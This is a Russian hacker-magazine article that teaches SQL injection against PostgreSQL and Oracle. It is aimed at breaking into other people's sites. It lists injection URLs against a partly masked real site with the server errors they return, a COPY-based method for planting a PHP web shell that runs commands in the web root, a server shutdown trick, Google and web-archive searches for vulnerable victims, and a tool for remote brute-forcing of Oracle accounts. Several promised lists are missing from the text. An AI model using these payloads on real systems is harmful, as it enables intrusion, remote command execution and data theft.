Разрушая базыЕвгений «Corwin» Ермаков Хакер, номер #101, стр. 078 Проведение sql-injection в PostgreSQL и OracleВсем, наверняка, знакомо сочетание «sql-injection». Не раз и не два мы вытягивали нужные сведения из таблиц баз данных. В то же время далеко не всегда удается провести успешную инъекцию из-за незнания особенностей той или иной базы данных. В общих чертах синтаксис ANSI SQL везде одинаков, но существуют подводные камни. Это тебе не «мускул»В большинстве случаев уязвимое приложение взаимодействует с MySQL, но, кроме «мускула», довольно популярными являются серверы баз данных MSSQL, Oracle и PostgreSQL. Писать про все три мы не будем - информации по теме инъекций в серверы, использующие СУБД MSSQL, более чем достаточно. Сегодня мы на практических примерах рассмотрим некоторые тонкости при взломе PostgreSQL и Oracle. Учти, что никто не собирается обучать тебя языку структурированных запросов SQL. Десять «святых заповедей»PostgreSQL - достаточно мощная система, администрировать которую труднее, чем MySQL. Как правило, ее используют на крупных коммерческих проектах, требующих сложной иерархической структуры базы данных. Но в то же время PostgreSQL тяжелая и работает медленнее, чем тот же «мускул», поэтому вряд ли кто-то будет использовать эту СУБД для домашней страницы (хотя в нашей жизни все возможно). Чтобы все твои инъекции были успешными, усвой десять простых правил. Но учти, что они характерны только для PostgreSQL. 1. В отличие от MySQL, в базах данных PostgreSQL количество полей в select-запросах может не совпадать. Следовательно, здесь нам не нужно подбирать количество полей, как это бывает в MySQL. Пример - запрос «http://club.*****.ru/?part_id=10;select 1/**/» равнозначен «http://club.*****.ru/?part_id=10;select 1,2/**/». 2. Таблицы Mytable и mytable не равнозначны. Всегда следует учитывать регистр букв. 3. Нельзя оставлять открытый комментарий. Следовательно, отсечь ненужный нам sql-запрос просто так не получится. Но есть простой выход - использование null-байта «%00» (при отсутствии фильтрации). Запрос:http://club.*****.ru/?part_id=10-1/* Вывод:Fatal error: Call to undefined function: fetchrow() in /var/www/htdocs/veresk_club/classes/SQL.class.php on line 25 Запрос:http://club.*****.ru/?part_id=10-1/**/ Вывод:Страница сайта. 4. Для записи данных из файла в таблицу или, наоборот, из таблицы в файл в PostgreSQL используется оператор COPY. Вот его синтаксис, взятый из документации: COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT } [ [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' ] [ NULL [ AS ] 'null string' ] ] При копировании данных из таблицы в файл все просто: copy targettable to '/home/www/';copy. Для получения шелла в поле таблицы targettable, естественно, должен быть прописан код, создающий шелл (пример запроса: insert into "targettable"(columnname) values ('<? php system($_GET["cmd"]); ?>');). Поле columnname должно иметь строковой тип (char, varchar). Единственное «но» - нужны соответствующие права записи в файл и записи в директорию. Либо можно попытаться перезаписать уже существующий файл. Далее мы просто обращаемся к сайту напрямую, поскольку задана WWW-директория (в примере). В общем, тут много вариантов, можно, к примеру, еще и проапдейтить таблицу своими значениями (UPDATE). Если же нужно копировать существующий файл в таблицу, то последовательность действий должна быть следующей. Создаем новую таблицу с одним столбцом, выполняем запрос, копирующий файл, в таблицу. Затем выполняем запрос для выбора данных из таблицы. Сами запросы по порядку:
5. Числа 0 и 1 не равнозначны булевым значениям TRUE и FALSE. Об этом свидетельствует и сам ответ сервера. Запрос:http://club.*****.ru/?part_id=10 or 1 Вывод:Warning: pg_query(): Query failed: ERROR: Argument of or must be type boolean, not type integer in var/www/htdocs/veresk_club/classes/SQL.class.php on line 25 Fatal error: Call to undefined function: fetchrow() in /var/www/htdocs/veresk_club/classes/SQL.class.php on line 25 Запрос:http://club.*****.ru/?part_id=10 or TRUE Вывод:Страница сайта. Запрос «http://club.*****.ru/?part_id=10 and TRUE=TRUE» успешно выполнится, а «http://club.*****.ru/?part_id=10 and TRUE=1» нет. 6. Все select-запросы разделяются точкой с запятой, но на выходе мы наблюдаем результат только последнего запроса. То есть использование «ядовитого нуля» обязательно. Запрос:http://club.*****.ru/?part_id=10;select 1/**/ Вывод:Страница сайта. 7. Ограничение доступа никто не отменял, поэтому для записи в файл нужны соответствующие права. Нужно создать новый файл в доступной нам по правам папке или писать в другой файл, также доступный пользователю, под которым запущен PostgreSQL. 8. Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять. Пример:Строка «123». Кодирование:chr(1)||chr(2)||chr(3) 9. Текущего пользователя можно узнать, вызвав функцию User(), а версию - используя функцию version(). 10. Вырубить сервер всегда можно с помощью простой инструкции shutdown (при соответствующих правах). Все намного проще…В начале этого повествования я не успел обрадовать читателя и упомянуть о том, что извлечь данные из PostgreSQL при определенных обстоятельствах намного легче, чем из той же MySQL. Как правило, информация извлекается одной из двух возможных функций: pg_Fetch_Object и pg_fetch_array(). Если используется первая функция, то придется явно указывать имя нужного нам столбца в таблице. pg_Fetch_Object возвращает объект, а не массив. В очередной раз проводя аналогию с «мускулом», отмечу, что здесь не нужно знать порядок столбцов, требуется лишь наименование. Получение объекта PostgreSQL с помощью pg_Fetch_Object реализуется простым PHP-сценарием: <?php $database = "verlag"; $db_conn = pg_connect ("localhost", "5432", "", "", $database); if (!$db_conn): ?> <H1>Ошибка соединения с базой <? echo $database ?></H1> <? exit; endif; $qu = pg_exec ($db_conn, "SELECT * FROM verlag ORDER BY autor"); $row = 0; // PostgreSQL необходим счетчик записей, в отличие от других СУБД while ($data = pg_fetch_object ($qu, $row)): echo $data->autor." ("; echo $data->jahr ."): "; echo $data->titel."<BR>"; $row++; endwhile; ?><PRE><? $fields[] = Array ("autor", "Author"); $fields[] = Array ("jahr", " Year"); $fields[] = Array ("titel", " Title"); $row= 0; // PostgreSQL необходим счетчик записей, в отличие от других СУБД while ($data = pg_fetch_object ($qu, $row)): reset ($fields); while (list (,$item) = each ($fields)): echo $item[1].": ".$data->$item[0]."\n"; endwhile; $row++; endwhile; ?></PRE> Если же используется функция pg_fetch_array(), то нам не требуется точное имя столбца, порядковый номер, единственное, что нужно, - общее число столбцов в таблице. Дело в том, что эта функция, как и pg_fetch_row(), хранит результат запроса под числовыми индексами в массиве. Пример применения pg_fetch_array(): <? php $conn = pg_pconnect ("dbname=publisher"); if (!$conn) { echo "An error occured.\n"; exit; } $result = pg_query ($conn, "SELECT * FROM authors"); if (!$result) { echo "An error occured.\n"; exit; } $arr = pg_fetch_array ($result, 0, PGSQL_NUM); echo $arr[0] . " <- array\n"; $arr = pg_fetch_array ($result, 1, PGSQL_ASSOC); echo $arr["author"] . " <- array\n"; ?> ИдентификацияПри проведении атаки типа sql-injection взломщик первым делом определяет сервер базы данных, с которым придется проводить последующие манипуляции. В MySQL все просто: подставил кавычку в запрос, ну или, в крайнем случае, составил логическое выражение - получил ошибку. Чтобы точно определить, что мы взаимодействуем с PostgreSQL, нужно ввести в запрос специальные операторы или функции, присутствующие исключительно в PostgreSQL. Выделим основные. Операторы:
Функции:
Если мы получаем пустую страницу или шаблон страницы загружается без динамического содержимого, то будь уверен - это PostgreSQL. В поисках целиПримечательно, что сайты с уязвимыми скриптами достаточно просто найти через Google. Для этого есть несколько запросов:
Перечислять все коды ошибок здесь не имеет смысла. Полезнее обратиться к документации (www.postgresql.org/docs). Немного отойдя от темы, напомню, что поисковик Google является не только удобным средством для обнаружения потенциальной жертвы, но и «историей болезни» многих порталов, поскольку использует кэширование ;). Зачастую уязвимые скрипты, которые заменяются новыми, пропатченными, остаются на сервере. Найти их поможет веб-архив (www.web.archive.org). Заходим, вбиваем адрес нужного нам сайта, находим все доступные скрипты и по очереди выясняем их наличие на сервере. Если таковые обнаруживаются, то проверяем на уязвимости. Здесь мы выполняем простое сканирование. Да - примитивно, да - долго, но это последнее, на что следует идти, если другие решения не найдены. Явление OracleПро Oracle есть несколько очень хороших статей, ссылки на которые ты найдешь далее, поэтому я упомяну лишь основные моменты:
А как же автоматизация?Пропарсив с десяток страниц поисковика, я нашел всего несколько специализированных утилит для атаки и аудита СУБД Oracle (всевозможные сканеры безопасности не в счет). Это программа NGSSQuirreL от компании Next Generation Security Software, тулза DB Audit от SoftTree и многим уже знакомая русскоязычная утилита Console Oracle Security Scanner от Limpid Byte. Первая и вторая программы подойдут для аудита собственного сервера на уязвимости, но никак не для удаленного анализа системы с целью последующего проникновения. Поэтому выбор очевиден - COSS. С помощью этой утилиты можно узнать версию Oracle и другую полезную информацию (SID, например), выполнять команды, брутить на стандартные аккаунты и т.д. Исходники, к сожалению, не прилагаются. Новости с фронтаВо время написания этой статьи в багтраке появилась информация об уязвимостях, найденных в PostgreSQL (7.4) и Oracle (9i/10g). В обоих случаях - sql-injection. В случае с PostgreSQL уязвим модуль contrib/tsearch2 при объявлении некоторых функций. В Oracle же все намного серьезнее - 4 дыры и 4 эксплойта (http://xakep.ru/post/36944/default.asp). ЗанавесЯ описал лишь основы основ возможностей в Oracle и PostgreSQL. Есть гораздо более сложные структурные атаки, требующие глубоких знаний pgSQL/PL и всех тонкостей вышеназванных СУБД. И если ты имеешь соответствующую подготовку, то я советую тебе прочесть интересный доклад David'a Litchfield'a «Oracle PL/SQL Injection» и статью Chris'a Ahley’я «(More) Advanced SQL Injection», которые можно скачать с моей домашней страницы или взять на диске. WWWЕсли хочется протестировать утилиты DB Audit и NGSSQuirreL, то их всегда можно скачать с официальных сайтов - www.softtreetech.com и www.ngssoftware.com. Правда, для скачивания последней утилиты придется зарегистрироваться. DVDНа диске ты найдешь последние версии PostgreSQL и Oracle, а также интересные книги по структуре СУБД. |